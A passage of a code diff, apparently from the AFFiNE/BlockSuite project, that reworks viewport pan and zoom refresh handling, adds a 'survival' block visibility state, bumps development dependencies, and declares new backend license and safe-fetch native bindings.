-    this.viewportUpdated.next({
-      zoom: this.zoom,
-      center: Vec.toVec(this.center) as IVec,
-    });
-    this._resetPanning();
+
+    const gestureActive = this.panning$.value || this.zooming$.value;
+
+    if (signalPanning) {
+      this.panning$.next(true);
+    }
+
+    // When SKIP_REFRESH_DURING_GESTURE is active, suppress viewportUpdated
+    // emissions during gestures. Heavy subscribers (canvas, DOM visibility,
+    // per-block transforms) would otherwise fire on every gesture event.
+    // Instead, the viewport-element applies a lightweight container-level
+    // CSS transform to keep visuals in sync with zero per-block overhead.
+    if (!(this.SKIP_REFRESH_DURING_GESTURE && gestureActive)) {
+      this.viewportUpdated.next({
+        zoom: this.zoom,
+        center: Vec.toVec(this.center) as IVec,
+      });
+    }
+    if (signalPanning) {
+      this._resetPanning();
+    }
   }
 
   setRect(left: number, top: number, width: number, height: number) {
@@ -410,7 +665,8 @@ export class Viewport {
     newZoom: number,
     newCenter = Vec.toVec(this.center),
     smooth = false,
-    forceUpdate = true
+    forceUpdate = true,
+    signalGesture = false
   ) {
     // Force complete any pending resize operations if forceUpdate is true
     if (forceUpdate && this._isResizing) {
@@ -421,19 +677,19 @@ export class Viewport {
     if (smooth) {
       const cofficient = preZoom / newZoom;
       if (cofficient === 1) {
-        this.smoothTranslate(newCenter[0], newCenter[1]);
+        this.smoothTranslate(newCenter[0], newCenter[1], 10, signalGesture);
       } else {
         const center = [this.centerX, this.centerY] as IVec;
         const focusPoint = Vec.mul(
           Vec.sub(newCenter, Vec.mul(center, cofficient)),
           1 / (1 - cofficient)
         );
-        this.smoothZoom(newZoom, Vec.toPoint(focusPoint));
+        this.smoothZoom(newZoom, Vec.toPoint(focusPoint), 10, signalGesture);
       }
     } else {
       this._center.x = newCenter[0];
       this._center.y = newCenter[1];
-      this.setZoom(newZoom, undefined, false, forceUpdate);
+      this.setZoom(newZoom, undefined, false, forceUpdate, signalGesture);
     }
   }
 
@@ -450,7 +706,8 @@ export class Viewport {
     bound: Bound,
     padding: [number, number, number, number] = [0, 0, 0, 0],
     smooth = false,
-    forceUpdate = true
+    forceUpdate = true,
+    signalGesture = false
   ) {
     let [pt, pr, pb, pl] = padding;
 
@@ -485,7 +742,7 @@ export class Viewport {
       bound.y + (bound.h + pb / zoom) / 2 - pt / zoom / 2,
     ] as IVec;
 
-    this.setViewport(zoom, center, smooth, forceUpdate);
+    this.setViewport(zoom, center, smooth, forceUpdate, signalGesture);
   }
 
   /** This is the outer container of the viewport, which is the host of the viewport element */
@@ -509,14 +766,15 @@ export class Viewport {
    * Set the viewport to the new zoom.
    * @param zoom The new zoom value.
    * @param focusPoint The point to focus on after zooming, default is the center of the viewport.
-   * @param wheel Whether the zoom is caused by wheel event.
+   * @param _wheel Legacy parameter kept for call-site compatibility.
    * @param forceUpdate Whether to force complete any pending resize operations before setting the viewport.
    */
   setZoom(
     zoom: number,
     focusPoint?: IPoint,
-    wheel = false,
-    forceUpdate = true
+    _wheel = false,
+    forceUpdate = true,
+    signalGesture = false
   ) {
     if (forceUpdate && this._isResizing) {
       this._forceCompleteResize();
@@ -532,18 +790,21 @@ export class Viewport {
       Vec.toVec(focusPoint),
       Vec.mul(offset, prevZoom / newZoom)
     );
-    if (wheel) {
+    // Always signal zooming for any real gesture zoom change (pinch or wheel).
+    // Programmatic viewport changes should use the normal refresh path without
+    // entering low-zoom gesture survival mode.
+    if (signalGesture) {
       this.zooming$.next(true);
     }
-    this.setCenter(newCenter[0], newCenter[1], forceUpdate);
-    this.viewportUpdated.next({
-      zoom: this.zoom,
-      center: Vec.toVec(this.center) as IVec,
-    });
-    this._resetZooming();
+    this.setCenter(newCenter[0], newCenter[1], forceUpdate, signalGesture);
+    this.zoomUpdated.next({ previousZoom: prevZoom, zoom: newZoom });
+    // setCenter already emits viewportUpdated, no need to emit again here.
+    if (signalGesture) {
+      this._resetZooming();
+    }
   }
 
-  smoothTranslate(x: number, y: number, numSteps = 10) {
+  smoothTranslate(x: number, y: number, numSteps = 10, signalGesture = false) {
     const { center } = this;
     const delta = { x: x - center.x, y: y - center.y };
     const innerSmoothTranslate = () => {
@@ -558,7 +819,7 @@ export class Viewport {
         const signY = delta.y > 0 ? 1 : -1;
         nextCenter.x = cutoff(nextCenter.x, x, signX);
         nextCenter.y = cutoff(nextCenter.y, y, signY);
-        this.setCenter(nextCenter.x, nextCenter.y, true);
+        this.setCenter(nextCenter.x, nextCenter.y, true, signalGesture);
 
         if (nextCenter.x != x || nextCenter.y != y) innerSmoothTranslate();
       });
@@ -566,7 +827,12 @@ export class Viewport {
     innerSmoothTranslate();
   }
 
-  smoothZoom(zoom: number, focusPoint?: IPoint, numSteps = 10) {
+  smoothZoom(
+    zoom: number,
+    focusPoint?: IPoint,
+    numSteps = 10,
+    signalGesture = false
+  ) {
     const delta = zoom - this.zoom;
     if (this._rafId) cancelAnimationFrame(this._rafId);
 
@@ -576,7 +842,7 @@ export class Viewport {
         const step = delta / numSteps;
         const nextZoom = cutoff(this.zoom + step, zoom, sign);
 
-        this.setZoom(nextZoom, focusPoint, undefined, true);
+        this.setZoom(nextZoom, focusPoint, undefined, true, signalGesture);
 
         if (nextZoom != zoom) innerSmoothZoom();
       });

blocksuite/framework/std/src/inline/range/range-binding.ts

@@ -213,20 +213,22 @@ export class RangeBinding {
       return;
     }
 
+    const startElement = getElement(range.startContainer);
+    const endElement = getElement(range.endContainer);
+    const hasInlineEndpoint =
+      !!startElement?.closest('v-text') || !!endElement?.closest('v-text');
+
     const el = getElement(range.commonAncestorContainer);
     if (!el) return;
 
     const closestExclude = el.closest(`[${RANGE_SYNC_EXCLUDE_ATTR}="true"]`);
-    if (closestExclude) return;
+    if (closestExclude && !hasInlineEndpoint) return;
 
     const closestEditable = el.closest('[contenteditable]');
-    if (!closestEditable) return;
-
-    const startElement = getElement(range.startContainer);
-    const endElement = getElement(range.endContainer);
+    if (!closestEditable && !hasInlineEndpoint) return;
 
     // if neither start nor end is in a v-text, the range is invalid
-    if (!startElement?.closest('v-text') && !endElement?.closest('v-text')) {
+    if (!hasInlineEndpoint) {
       this._prevTextSelection = null;
       this.selectionManager.clear(['text']);
 

blocksuite/framework/std/src/view/element/gfx-block-component.ts

@@ -42,12 +42,17 @@ function updateBlockVisibility(view: GfxBlockComponent) {
   if (view.transformState$.value === 'active') {
     view.style.visibility = 'visible';
     view.style.pointerEvents = 'auto';
-    view.classList.remove('block-idle');
+    view.classList.remove('block-idle', 'block-survival');
     view.classList.add('block-active');
+  } else if (view.transformState$.value === 'survival') {
+    view.style.visibility = 'visible';
+    view.style.pointerEvents = 'none';
+    view.classList.remove('block-active', 'block-idle');
+    view.classList.add('block-survival');
   } else {
     view.style.visibility = 'hidden';
     view.style.pointerEvents = 'none';
-    view.classList.remove('block-active');
+    view.classList.remove('block-active', 'block-survival');
     view.classList.add('block-idle');
   }
 }
@@ -55,8 +60,19 @@ function updateBlockVisibility(view: GfxBlockComponent) {
 function handleGfxConnection(instance: GfxBlockComponent) {
   instance.style.position = 'absolute';
 
+  const viewport = instance.gfx.viewport;
+
   instance.disposables.add(
-    instance.gfx.viewport.viewportUpdated.subscribe(() => {
+    viewport.viewportUpdated.subscribe(() => {
+      // When SKIP_REFRESH_DURING_GESTURE is enabled and a gesture is active,
+      // skip per-block transform updates. The viewport-element applies a
+      // container-level CSS transform to keep visuals in sync instead.
+      if (
+        viewport.SKIP_REFRESH_DURING_GESTURE &&
+        (viewport.panning$.value || viewport.zooming$.value)
+      ) {
+        return;
+      }
       updateTransform(instance);
     })
   );
@@ -95,7 +111,7 @@ export abstract class GfxBlockComponent<
 {
   [GfxElementSymbol] = true;
 
-  readonly transformState$ = signal<'idle' | 'active'>('active');
+  readonly transformState$ = signal<'idle' | 'survival' | 'active'>('active');
 
   get gfx() {
     return this.std.get(GfxControllerIdentifier);
@@ -207,7 +223,7 @@ export function toGfxBlockComponent<
   return class extends CustomBlock {
     [GfxElementSymbol] = true;
 
-    readonly transformState$ = signal<'idle' | 'active'>('active');
+    readonly transformState$ = signal<'idle' | 'survival' | 'active'>('active');
 
     override selected$ = computed(() => {
       const selection = this.std.selection.value.find(

blocksuite/framework/store/package.json

@@ -25,7 +25,7 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/framework/sync/package.json

@@ -19,7 +19,7 @@
     "y-protocols": "^1.0.6"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "peerDependencies": {
     "yjs": "*"

blocksuite/integration-test/package.json

@@ -35,11 +35,11 @@
   ],
   "devDependencies": {
     "@vanilla-extract/vite-plugin": "^5.0.0",
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vite": "^7.2.7",
+    "vite": "^7.3.5",
     "vite-plugin-wasm": "^3.5.0",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "version": "0.26.3"
 }

blocksuite/playground/package.json

@@ -34,7 +34,7 @@
     "@types/micromatch": "^4.0.9",
     "@vanilla-extract/vite-plugin": "^5.0.0",
     "magic-string": "^0.30.21",
-    "vite": "^7.2.7",
+    "vite": "^7.3.5",
     "vite-plugin-istanbul": "^7.2.1",
     "vite-plugin-wasm": "^3.5.0",
     "vite-plugin-web-components-hmr": "^0.1.3"

package.json

@@ -64,9 +64,9 @@
     "@types/node": "^22.0.0",
     "@typescript-eslint/parser": "^8.55.0",
     "@vanilla-extract/vite-plugin": "^5.0.0",
-    "@vitest/browser": "^4.0.18",
-    "@vitest/coverage-istanbul": "^4.0.18",
-    "@vitest/ui": "^4.0.18",
+    "@vitest/browser": "^4.1.8",
+    "@vitest/coverage-istanbul": "^4.1.8",
+    "@vitest/ui": "^4.1.8",
     "cross-env": "^10.1.0",
     "electron": "^39.0.0",
     "eslint": "^9.39.2",
@@ -74,7 +74,7 @@
     "eslint-import-resolver-typescript": "^4.4.4",
     "eslint-plugin-import-x": "^4.16.1",
     "eslint-plugin-lit": "^2.2.1",
-    "eslint-plugin-oxlint": "1.66.0",
+    "eslint-plugin-oxlint": "1.68.0",
     "eslint-plugin-react": "^7.37.5",
     "eslint-plugin-react-hooks": "^7.0.1",
     "eslint-plugin-simple-import-sort": "^12.1.1",
@@ -83,15 +83,15 @@
     "husky": "^9.1.7",
     "lint-staged": "^16.0.0",
     "msw": "^2.13.2",
-    "oxlint": "1.58.0",
+    "oxlint": "1.68.0",
     "oxlint-tsgolint": "^0.23.0",
     "prettier": "^3.7.4",
     "semver": "^7.7.3",
     "typescript": "^5.9.3",
     "typescript-eslint": "^8.55.0",
     "unplugin-swc": "^1.5.9",
-    "vite": "^7.2.7",
-    "vitest": "^4.0.18"
+    "vite": "^7.3.5",
+    "vitest": "^4.1.8"
   },
   "packageManager": "yarn@4.13.0",
   "resolutions": {
@@ -167,7 +167,22 @@
     "typedarray": "npm:@nolyfill/typedarray@^1",
     "macos-alias": "npm:@napi-rs/macos-alias@0.0.4",
     "fs-xattr": "npm:@napi-rs/xattr@latest",
-    "ioredis": "5.8.2",
+    "@opentelemetry/core": "^2.8.0",
+    "@opentelemetry/resources": "^2.8.0",
+    "@opentelemetry/sdk-trace-base": "^2.8.0",
+    "@tootallnate/once": "^2.0.1",
+    "ioredis": "^5.11.1",
+    "js-yaml@npm:^4.1.0": "^4.2.0",
+    "js-yaml@npm:4.1.1": "^4.2.0",
+    "multer": "^2.2.0",
+    "protobufjs": "^7.6.4",
+    "tar": "^7.5.16",
+    "tmp": "^0.2.7",
+    "ws@npm:^8.18.0": "^8.21.0",
+    "ws@npm:^8.18.3": "^8.21.0",
+    "ws@npm:^8.19.0": "^8.21.0",
+    "ws@npm:8.20.1": "^8.21.0",
+    "ws@npm:~8.17.1": "^8.21.0",
     "decode-named-character-reference@npm:^1.0.0": "patch:decode-named-character-reference@npm%3A1.0.2#~/.yarn/patches/decode-named-character-reference-npm-1.0.2-db17a755fd.patch",
     "@atlaskit/pragmatic-drag-and-drop": "patch:@atlaskit/pragmatic-drag-and-drop@npm%3A1.4.0#~/.yarn/patches/@atlaskit-pragmatic-drag-and-drop-npm-1.4.0-75c45f52d3.patch",
     "yjs": "patch:yjs@npm%3A13.6.21#~/.yarn/patches/yjs-npm-13.6.21-c9f1f3397c.patch"

packages/backend/native/Cargo.toml

@@ -11,14 +11,13 @@ crate-type = ["cdylib"]
 [dependencies]
 aes-gcm = { workspace = true }
 affine_common = { workspace = true, features = [
-  "doc-loader",
   "hashcash",
   "napi",
   "ydoc-loader",
 ] }
 anyhow = { workspace = true }
-base64-simd = { workspace = true }
 chrono = { workspace = true }
+doc_extractor = { workspace = true }
 file-format = { workspace = true }
 hex = { workspace = true }
 image = { workspace = true }
@@ -34,11 +33,7 @@ napi = { workspace = true, features = ["async", "serde-json"] }
 napi-derive = { workspace = true }
 p256 = { workspace = true }
 rand = { workspace = true }
-reqwest = { version = "0.13.3", default-features = false, features = [
-  "blocking",
-  "rustls",
-] }
-rustls = "0.23"
+safefetch = { workspace = true }
 schemars = { workspace = true }
 serde = { workspace = true, features = ["derive"] }
 serde_json = { workspace = true }
@@ -47,7 +42,6 @@ sha3 = { workspace = true }
 tiktoken-rs = { workspace = true }
 url = { workspace = true }
 v_htmlescape = { workspace = true }
-webpki-roots = "1"
 y-octo = { workspace = true, features = ["large_refs"] }
 
 [target.'cfg(not(target_os = "linux"))'.dependencies]

packages/backend/native/index.d.ts

@@ -48,6 +48,8 @@ export interface ActionTrace {
   errorCode?: string
 }
 
+export declare function activateLicense(request: LicenseKeyRequest): Promise<LicenseResponse>
+
 /**
  * Adds a document ID to the workspace root doc's meta.pages array.
  * This registers the document in the workspace so it appears in the UI.
@@ -151,11 +153,17 @@ export interface CapabilityModelContract {
   capabilities: Array<CapabilityModelCapability>
 }
 
+export declare function checkLicenseHealth(request: LicenseHealthRequest): Promise<LicenseResponse>
+
 export interface Chunk {
   index: number
   content: string
 }
 
+export interface CommandResponse {
+  error?: LicenseError
+}
+
 /**
  * Converts markdown content to AFFiNE-compatible y-octo document binary.
  *
@@ -169,6 +177,10 @@ export interface Chunk {
  */
 export declare function createDocWithMarkdown(title: string, markdown: string, docId: string): Buffer
 
+export declare function createLicenseCustomerPortal(request: LicenseKeyRequest): Promise<PortalResponse>
+
+export declare function deactivateLicense(request: LicenseKeyRequest): Promise<CommandResponse>
+
 export declare function evaluatePermissionV1(input: any): any
 
 export declare function fetchRemoteAttachment(request: RemoteAttachmentFetchRequest): Promise<RemoteAttachmentFetchResponse>
@@ -195,6 +207,43 @@ export declare function inferRemoteMimeType(request: RemoteMimeTypeRequest): Pro
 
 export declare function inspectImageForProxy(input: Buffer, options?: ImageInspectionOptions | undefined | null): ImageInspection
 
+export interface LicenseError {
+  status: number
+  body: string
+}
+
+export interface LicenseHealthRequest {
+  licenseKey: string
+  validateKey: string
+}
+
+export interface LicenseInfo {
+  plan: string
+  recurring: string
+  quantity: number
+  expiresAt: number
+  validateKey: string
+}
+
+export interface LicenseKeyRequest {
+  licenseKey: string
+}
+
+export interface LicenseRecurringRequest {
+  licenseKey: string
+  recurring: string
+}
+
+export interface LicenseResponse {
+  license?: LicenseInfo
+  error?: LicenseError
+}
+
+export interface LicenseSeatsRequest {
+  licenseKey: string
+  seats: number
+}
+
 export declare function llmBuildCanonicalRequest(request: CanonicalChatRequestContract): LlmRequestContract
 
 export declare function llmBuildCanonicalStructuredRequest(request: CanonicalStructuredRequestContract): LlmStructuredRequestContract
@@ -481,6 +530,11 @@ export declare function permissionActionRoleMatrixV1(): any
 
 export declare function permissionActionRoleMatrixV1Json(): string
 
+export interface PortalResponse {
+  url?: string
+  error?: LicenseError
+}
+
 export declare function processImage(input: Buffer, maxEdge: number, keepExif: boolean): Promise<Buffer>
 
 export type PromptBuiltin =  'Date'|
@@ -687,15 +741,26 @@ export declare function runNativeActionRecipePreparedStream(input: ActionRuntime
 export declare function safeFetch(request: SafeFetchRequest): Promise<SafeFetchResponse>
 
 export type SafeFetchMethod =  'get'|
-'head';
+'head'|
+'post'|
+'put'|
+'propfind'|
+'report';
 
 export interface SafeFetchRequest {
   url: string
   method?: SafeFetchMethod
   headers?: Record<string, string>
+  body?: Buffer
   timeoutMs?: number
   maxRedirects?: number
   maxBytes?: number
+  allowedHeaders?: Array<string>
+  allowedHosts?: Array<string>
+  allowHttp?: boolean
+  allowPrivateTargetOrigin?: boolean
+  enableEch?: boolean
+  echConfigList?: Buffer
 }
 
 export interface SafeFetchResponse {
@@ -754,6 +819,10 @@ export declare function updateDocTitle(existingBinary: Buffer, title: string, do
  */
 export declare function updateDocWithMarkdown(existingBinary: Buffer, newMarkdown: string, docId: string): Buffer
 
+export declare function updateLicenseRecurring(request: LicenseRecurringRequest): Promise<CommandResponse>
+
+export declare function updateLicenseSeats(request: LicenseSeatsRequest): Promise<CommandResponse>
+
 /**
  * Updates a document title in the workspace root doc's meta.pages array.
  *

packages/backend/native/src/doc_loader.rs

@@ -1,4 +1,5 @@
-use affine_common::{doc_loader::Doc, napi_utils::map_napi_err};
+use affine_common::napi_utils::map_napi_err;
+use doc_extractor::Doc;
 use napi::{
   Env, Result, Status, Task,
   bindgen_prelude::{AsyncTask, Buffer},